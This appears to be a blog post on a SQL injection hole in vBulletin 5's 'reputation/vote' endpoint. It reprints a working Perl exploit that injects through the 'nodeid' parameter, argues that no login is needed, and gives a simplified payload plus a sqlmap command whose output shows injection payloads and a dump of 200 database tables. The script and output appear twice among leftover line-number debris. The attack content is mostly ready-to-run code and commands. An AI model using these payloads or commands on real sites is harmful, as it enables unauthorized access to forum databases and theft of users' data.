vBulletin 5 SQL Injection

You may have already heard about latest version of vBulletin being vulnerable. Released exploit doesn’t pull anything but database’s version.

I was surfing internet and I saw the link. I already saw that quote too “It’s a skiddie free version… another version of the exploit exists, but isn’t going to become available anytime soon.”

What’s going on here? is the vulnerable place specified or not? The MySQL injection hole is public now and the exploit pulling data no longer means.

Before anything, have a glance at this exploit:

#!/usr/bin/perl
use LWP::UserAgent;
use HTTP::Cookies;
use HTTP::Request::Common;
use MIME::Base64;
system $^O eq 'MSWin32' ? 'cls' : 'clear';
print "
+===================================================+
|           vBulletin 5 Beta XX SQLi 0day           |
|              Author: Orestis Kourides             |
|             Web Site: www.cyitsec.net             |
+===================================================+
";
 
if (@ARGV != 5) {
    print "\r\nUsage: perl vb5exp.pl WWW.HOST.COM VBPATH URUSER URPASS MAGICNUM\r\n";
    exit;
}
 
$host        = $ARGV[0];
$path        = $ARGV[1];
$username    = $ARGV[2];
$password    = $ARGV[3];
$magicnum    = $ARGV[4];
$encpath    = encode_base64('http://'.$host.$path);
print "[+] Logging\n";
print "[+] Username: ".$username."\n";
print "[+] Password: ".$password."\n";
print "[+] MagicNum: ".$magicnum."\n";
print "[+] " .$host.$path."auth/login\n";
my $browser = LWP::UserAgent->new;
my $cookie_jar = HTTP::Cookies->new;
my $response = $browser->post( 'http://'.$host.$path.'auth/login',
    [
        'url' => $encpath,
        'username' => $username,
        'password' => $password,
    ],
    Referer => 'http://'.$host.$path.'auth/login-form?url=http://'.$host.$path.'',
    User-Agent => 'Mozilla/5.0 (Windows NT 6.1; rv:13.0) Gecko/20100101 Firefox/13.0',
);
$browser->cookie_jar( $cookie_jar );
my $browser = LWP::UserAgent->new;
$browser->cookie_jar( $cookie_jar );
print "[+] Requesting\n";
my $response = $browser->post( 'http://'.$host.$path.'index.php/ajax/api/reputation/vote',
    [
        'nodeid' => $magicnum.') and(select 1 from(select count(*),concat((select (select concat(0x23,cast(version() as char),0x23)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) AND (1=1',
    ],
    User-Agent => 'Mozilla/5.0 (Windows NT 6.1; rv:13.0) Gecko/20100101 Firefox/13.0',
);
$data = $response->content;
if ($data =~ /(#((\\.)|[^\\#])*#)/) { print '[+] Version: '.$1 };
print "\n";
exit 1;

#!/usr/bin/perl

use LWP::UserAgent;

use HTTP::Cookies;

use HTTP::Request::Common;

use MIME::Base64;

system $^O eq 'MSWin32' ? 'cls' : 'clear';

print "

+===================================================+

| vBulletin 5 Beta XX SQLi 0day |

| Author: Orestis Kourides |

| Web Site: www.cyitsec.net |

+===================================================+

if (@ARGV != 5) {

print "\r\nUsage: perl vb5exp.pl WWW.HOST.COM VBPATH URUSER URPASS MAGICNUM\r\n";

exit;

}

$host = $ARGV[0];

$path = $ARGV[1];

$username = $ARGV[2];

$password = $ARGV[3];

$magicnum = $ARGV[4];

$encpath = encode_base64('http://'.$host.$path);

print "[+] Logging\n";

print "[+] Username: ".$username."\n";

print "[+] Password: ".$password."\n";

print "[+] MagicNum: ".$magicnum."\n";

print "[+] " .$host.$path."auth/login\n";

my $browser = LWP::UserAgent->new;

my $cookie_jar = HTTP::Cookies->new;

my $response = $browser->post( 'http://'.$host.$path.'auth/login',

[

'url' => $encpath,

'username' => $username,

'password' => $password,

Referer => 'http://'.$host.$path.'auth/login-form?url=http://'.$host.$path.'',

User-Agent => 'Mozilla/5.0 (Windows NT 6.1; rv:13.0) Gecko/20100101 Firefox/13.0',

);

$browser->cookie_jar( $cookie_jar );

my $browser = LWP::UserAgent->new;

$browser->cookie_jar( $cookie_jar );

print "[+] Requesting\n";

my $response = $browser->post( 'http://'.$host.$path.'index.php/ajax/api/reputation/vote',

[

'nodeid' => $magicnum.') and(select 1 from(select count(*),concat((select (select concat(0x23,cast(version() as char),0x23)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) AND (1=1',

User-Agent => 'Mozilla/5.0 (Windows NT 6.1; rv:13.0) Gecko/20100101 Firefox/13.0',

);

$data = $response->content;

if ($data =~ /(#((\\.)|[^\\#])*#)/) { print '[+] Version: '.$1 };

print "\n";

exit 1;

It firstly does log-in operation, secondly sends following string in order to gather database name:

1) and (select 1 from(select count(*),concat((select (select concat(0x23,cast(version() as char),0x23)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) AND (1=1

1	1) and (select 1 from(select count(),concat((select (select concat(0x23,cast(version() as char),0x23)) from information_schema.tables limit 0,1),floor(rand(0)2))x from information_schema.tables group by x)a) AND (1=1

It’s such a complicated query. I’ve seen it in many webpages, it’s obvious that authors have extracted this query from SQLMap. This happenings made me download and install latest vBulletin’s version and after that I realized two notes:

1. There must not be log-in sequence, the hole also exists with unauthorized session
2. There is no obligation to use the difficult injection queries. The simpler your query is, The more enjoyable it is.

1) AND (SELECT 1 from blah) AND (1=1

1	1) AND (SELECT 1 from blah) AND (1=1

SQLMap simply can pull all data, no exploit is required:

sqlmap.py --data="nodeid=1" --url="http://localhost/vB/upload/index.php/ajax/api/reputation/vote" -D vb5 --tables

1	sqlmap.py --data="nodeid=1" --url="http://localhost/vB/upload/index.php/ajax/api/reputation/vote" -D vb5 --tables

Result:

sqlmap/1.0-dev - automatic SQL injection and database takeover tool
    http://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting at 11:55:56

[11:55:57] [INFO] resuming back-end DBMS 'mysql' 
[11:55:57] [INFO] testing connection to the target url
sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
---
Place: POST
Parameter: nodeid
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: nodeid=1) AND 3225=3225 AND (1843=1843

    Type: error-based
    Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause
    Payload: nodeid=1) AND (SELECT 6401 FROM(SELECT COUNT(*),CONCAT(0x3a6c74713a,(SELECT (CASE WHEN (6401=6401) THEN 1 ELSE 0 END)),0x3a7261673a,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a) AND (7969=7969

    Type: AND/OR time-based blind
    Title: MySQL > 5.0.11 AND time-based blind
    Payload: nodeid=1) AND SLEEP(5) AND (5847=5847
---
[11:55:58] [INFO] the back-end DBMS is MySQL
web server operating system: Windows
web application technology: Apache 2.2.17, PHP 5.3.4
back-end DBMS: MySQL 5.0
[11:55:58] [INFO] fetching tables for database: 'vb5'
[11:55:58] [INFO] the SQL query used returns 200 entries
Database: vb5
[200 tables]
+-------------------------+
| access                  |
| ad                      |
| adcriteria              |
| adminhelp               |
| administrator           |
| adminlog                |
| adminmessage            |
| adminutil               |
| announcement            |
| announcementread        |
| apiclient               |
| apilog                  |
| attach                  |
| attachmentcategory      |
| attachmentcategoryuser  |
| attachmentpermission    |
| attachmenttype          |
| attachmentviews         |
| avatar                  |
| bbcode                  |
| bbcode_video            |
| bookmarksite            |
| cache                   |
| cacheevent              |
| cacheevent_log          |
| calendar                |
| calendarcustomfield     |
| calendarmoderator       |
| calendarpermission      |
| channel                 |
| channelprefixset        |
| closure                 |
| contentpriority         |
| contenttype             |
| cpsession               |
| cron                    |
| cronlog                 |
| customavatar            |
| customprofile           |
| customprofilepic        |
| datastore               |
| deletionlog             |
| discussion              |
| discussionread          |
| editlog                 |
| event                   |
| externalcache           |
| faq                     |
| filedata                |
| forumpermission         |
| gallery                 |
| groupintopic            |
| holiday                 |
| hook                    |
| humanverify             |
| hvanswer                |
| hvquestion              |
| icon                    |
| imagecategory           |
| imagecategorypermission |
| indexqueue              |
| infraction              |
| infractionban           |
| infractiongroup         |
| infractionlevel         |
| language                |
| link                    |
| mailqueue               |
| messagefolder           |
| moderation              |
| moderator               |
| moderatorlog            |
| node                    |
| noderead                |
| nodestatreplies         |
| nodestats               |
| nodevisits              |
| nodevote                |
| notice                  |
| noticecriteria          |
| noticedismissed         |
| package                 |
| page                    |
| pagetemplate            |
| passwordhistory         |
| paymentapi              |
| paymentinfo             |
| paymenttransaction      |
| permission              |
| photo                   |
| phrase                  |
| phrasetype              |
| picturecomment          |
| picturecomment_hash     |
| picturelegacy           |
| podcast                 |
| podcastitem             |
| poll                    |
| polloption              |
| pollvote                |
| prefix                  |
| prefixpermission        |
| prefixset               |
| privatemessage          |
| product                 |
| productcode             |
| productdependency       |
| profileblockprivacy     |
| profilefield            |
| profilefieldcategory    |
| profilevisitor          |
| ranks                   |
| reminder                |
| report                  |
| reputation              |
| reputationlevel         |
| routenew                |
| rssfeed                 |
| rsslog                  |
| screenlayout            |
| searchlog               |
| searchtowords_a         |
| searchtowords_b         |
| searchtowords_c         |
| searchtowords_d         |
| searchtowords_e         |
| searchtowords_f         |
| searchtowords_g         |
| searchtowords_h         |
| searchtowords_i         |
| searchtowords_j         |
| searchtowords_k         |
| searchtowords_l         |
| searchtowords_m         |
| searchtowords_n         |
| searchtowords_o         |
| searchtowords_other     |
| searchtowords_p         |
| searchtowords_q         |
| searchtowords_r         |
| searchtowords_s         |
| searchtowords_t         |
| searchtowords_u         |
| searchtowords_v         |
| searchtowords_w         |
| searchtowords_x         |
| searchtowords_y         |
| searchtowords_z         |
| sentto                  |
| session                 |
| setting                 |
| settinggroup            |
| sigparsed               |
| sigpic                  |
| site                    |
| smilie                  |
| spamlog                 |
| stats                   |
| strikes                 |
| style                   |
| stylevar                |
| stylevardfn             |
| subscribediscussion     |
| subscribeevent          |
| subscribegroup          |
| subscription            |
| subscriptionlog         |
| subscriptionpermission  |
| tag                     |
| tagnode                 |
| tagsearch               |
| template                |
| templatehistory         |
| templatemerge           |
| text                    |
| upgradelog              |
| user                    |
| useractivation          |
| userban                 |
| userchangelog           |
| usercss                 |
| usercsscache            |
| userfield               |
| usergroup               |
| usergroupleader         |
| usergrouprequest        |
| userlist                |
| usernote                |
| userpromotion           |
| userstylevar            |
| usertextfield           |
| usertitle               |
| video                   |
| videoitem               |
| widget                  |
| widgetchannelconfig     |
| widgetdefinition        |
| widgetinstance          |
| widgetuserconfig        |
| words                   |
+-------------------------+

[11:55:58] [INFO] fetched data logged to text files under 'C:\Users\~user\Desktop\sqlmapproject-sqlmap-0.9-2302-g832567e\sqlmapproject-sqlmap-832567e\output\localhost'

[*] shutting down at 11:55:58

100

101

102

103

104

105

106

107

108

109

110

111

112

113

114

115

116

117

118

119

120

121

122

123

124

125

126

127

128

129

130

131

132

133

134

135

136

137

138

139

140

141

142

143

144

145

146

147

148

149

150

151

152

153

154

155

156

157

158

159

160

161

162

163

164

165

166

167

168

169

170

171

172

173

174

175

176

177

178

179

180

181

182

183

184

185

186

187

188

189

190

191

192

193

194

195

196

197

198

199

200

201

202

203

204

205

206

207

208

209

210

211

212

213

214

215

216

217

218

219

220

221

222

223

224

225

226

227

228

229

230

231

232

233

234

235

236

237

238

239

sqlmap/1.0-dev - automatic SQL injection and database takeover tool

http://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting at 11:55:56

[11:55:57] [INFO] resuming back-end DBMS 'mysql'

[11:55:57] [INFO] testing connection to the target url

sqlmap identified the following injection points with a total of 0 HTTP(s) requests:

---

Place: POST

Parameter: nodeid

Type: boolean-based blind

Title: AND boolean-based blind - WHERE or HAVING clause

Payload: nodeid=1) AND 3225=3225 AND (1843=1843

Type: error-based

Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause

Payload: nodeid=1) AND (SELECT 6401 FROM(SELECT COUNT(*),CONCAT(0x3a6c74713a,(SELECT (CASE WHEN (6401=6401) THEN 1 ELSE 0 END)),0x3a7261673a,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a) AND (7969=7969

Type: AND/OR time-based blind

Title: MySQL > 5.0.11 AND time-based blind

Payload: nodeid=1) AND SLEEP(5) AND (5847=5847

---

[11:55:58] [INFO] the back-end DBMS is MySQL

web server operating system: Windows

web application technology: Apache 2.2.17, PHP 5.3.4

back-end DBMS: MySQL 5.0

[11:55:58] [INFO] fetching tables for database: 'vb5'

[11:55:58] [INFO] the SQL query used returns 200 entries

Database: vb5

[200 tables]

+-------------------------+

| access |

| ad |

| adcriteria |

| adminhelp |

| administrator |

| adminlog |

| adminmessage |

| adminutil |

| announcement |

| announcementread |

| apiclient |

| apilog |

| attach |

| attachmentcategory |

| attachmentcategoryuser |

| attachmentpermission |

| attachmenttype |

| attachmentviews |

| avatar |

| bbcode |

| bbcode_video |

| bookmarksite |

| cache |

| cacheevent |

| cacheevent_log |

| calendar |

| calendarcustomfield |

| calendarmoderator |

| calendarpermission |

| channel |

| channelprefixset |

| closure |

| contentpriority |

| contenttype |

| cpsession |

| cron |

| cronlog |

| customavatar |

| customprofile |

| customprofilepic |

| datastore |

| deletionlog |

| discussion |

| discussionread |

| editlog |

| event |

| externalcache |

| faq |

| filedata |

| forumpermission |

| gallery |

| groupintopic |

| holiday |

| hook |

| humanverify |

| hvanswer |

| hvquestion |

| icon |

| imagecategory |

| imagecategorypermission |

| indexqueue |

| infraction |

| infractionban |

| infractiongroup |

| infractionlevel |

| language |

| link |

| mailqueue |

| messagefolder |

| moderation |

| moderator |

| moderatorlog |

| node |

| noderead |

| nodestatreplies |

| nodestats |

| nodevisits |

| nodevote |

| notice |

| noticecriteria |

| noticedismissed |

| package |

| page |

| pagetemplate |

| passwordhistory |

| paymentapi |

| paymentinfo |

| paymenttransaction |

| permission |

| photo |

| phrase |

| phrasetype |

| picturecomment |

| picturecomment_hash |

| picturelegacy |

| podcast |

| podcastitem |

| poll |

| polloption |

| pollvote |

| prefix |

| prefixpermission |

| prefixset |

| privatemessage |

| product |

| productcode |

| productdependency |

| profileblockprivacy |

| profilefield |

| profilefieldcategory |

| profilevisitor |

| ranks |

| reminder |

| report |

| reputation |

| reputationlevel |

| routenew |

| rssfeed |

| rsslog |

| screenlayout |

| searchlog |

| searchtowords_a |

| searchtowords_b |

| searchtowords_c |

| searchtowords_d |

| searchtowords_e |

| searchtowords_f |

| searchtowords_g |

| searchtowords_h |

| searchtowords_i |

| searchtowords_j |

| searchtowords_k |

| searchtowords_l |

| searchtowords_m |

| searchtowords_n |

| searchtowords_o |

| searchtowords_other |

| searchtowords_p |

| searchtowords_q |

| searchtowords_r |

| searchtowords_s |

| searchtowords_t |

| searchtowords_u |

| searchtowords_v |

| searchtowords_w |

| searchtowords_x |

| searchtowords_y |

| searchtowords_z |

| sentto |

| session |

| setting |

| settinggroup |

| sigparsed |

| sigpic |

| site |

| smilie |

| spamlog |

| stats |

| strikes |

| style |

| stylevar |

| stylevardfn |

| subscribediscussion |

| subscribeevent |

| subscribegroup |

| subscription |

| subscriptionlog |

| subscriptionpermission |

| tag |

| tagnode |

| tagsearch |

| template |

| templatehistory |

| templatemerge |

| text |

| upgradelog |

| user |

| useractivation |

| userban |

| userchangelog |

| usercss |

| usercsscache |

| userfield |

| usergroup |

| usergroupleader |

| usergrouprequest |

| userlist |

| usernote |

| userpromotion |

| userstylevar |

| usertextfield |

| usertitle |

| video |

| videoitem |

| widget |

| widgetchannelconfig |

| widgetdefinition |

| widgetinstance |

| widgetuserconfig |

| words |

+-------------------------+

[11:55:58] [INFO] fetched data logged to text files under 'C:\Users\~user\Desktop\sqlmapproject-sqlmap-0.9-2302-g832567e\sqlmapproject-sqlmap-832567e\output\localhost'

[*] shutting down at 11:55:58